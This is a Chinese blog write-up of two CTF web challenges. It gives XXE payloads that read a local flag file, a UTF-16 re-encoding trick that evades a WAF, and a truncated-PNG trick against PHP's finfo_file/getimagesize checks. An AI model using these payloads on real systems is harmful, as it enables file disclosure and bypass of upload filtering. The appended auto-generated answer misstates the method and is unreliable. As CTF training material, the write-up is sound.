[CSAWQual 2019]Web_Unagi XXE漏洞 [HarekazeCTF2019]Avatar Uploader 1 finfo_file和getimagesize

[CSAWQual 2019]Web_Unagi
看提示有告诉你xml的格式
在这里插入图片描述

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>&xxe;</group>
    </user>
</users>

在这里插入图片描述
但如果在group和email的元素里显示长度会不够
通过对比User板块可以发现还有一个intro元素

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

直接上传会提示被WAF拦截了,
在这里插入图片描述
通过iconv转换成utf-16编码绕过

iconv -f utf8 -t utf-16 1.xml>2.xml

iconv是linux用来转换文件编码方式的命令
在这里插入图片描述
[HarekazeCTF2019]Avatar Uploader 1
在这里插入图片描述
登录以后看到文件上传,这题是提供源码的

//upload.php
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

简单概括就是要让finfo_file判断是png但是getimagesize判断不是png就能得到flag。
finfo_file通过文件头来判断,getimagesize还通过长宽等很多其他信息来判断
找一张png图片看一下(ps.要求的图片尺寸要很小,我剪裁了好多次)
保留文件头,其他删掉试一下,记得多删掉一点,留下IHDR就可以了
在这里插入图片描述
上传后成功获得flag在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: 在CSAWQual 2019比赛中,关于Unagi的问题,根据引用\[1\]、\[2\]和\[3\]的内容,Unagi是一个涉及XML注入的题目。参赛者需要利用之前的XXE模板或者自己构造的XML文件,通过上传恶意的XML文件来获取flag。具体的操作是将文件名改为1.xml,然后上传即可得到flag。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [[CSAWQual 2019]Web_Unagi xxe转码绕过waf](https://blog.csdn.net/qq_54929891/article/details/124481254)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[CSAWQual 2019]Web_Unagi](https://blog.csdn.net/m0_62905261/article/details/126189583)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [BUUCTF [CSAWQual 2019]Web_Unagi 1](https://blog.csdn.net/weixin_45642610/article/details/120201638)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值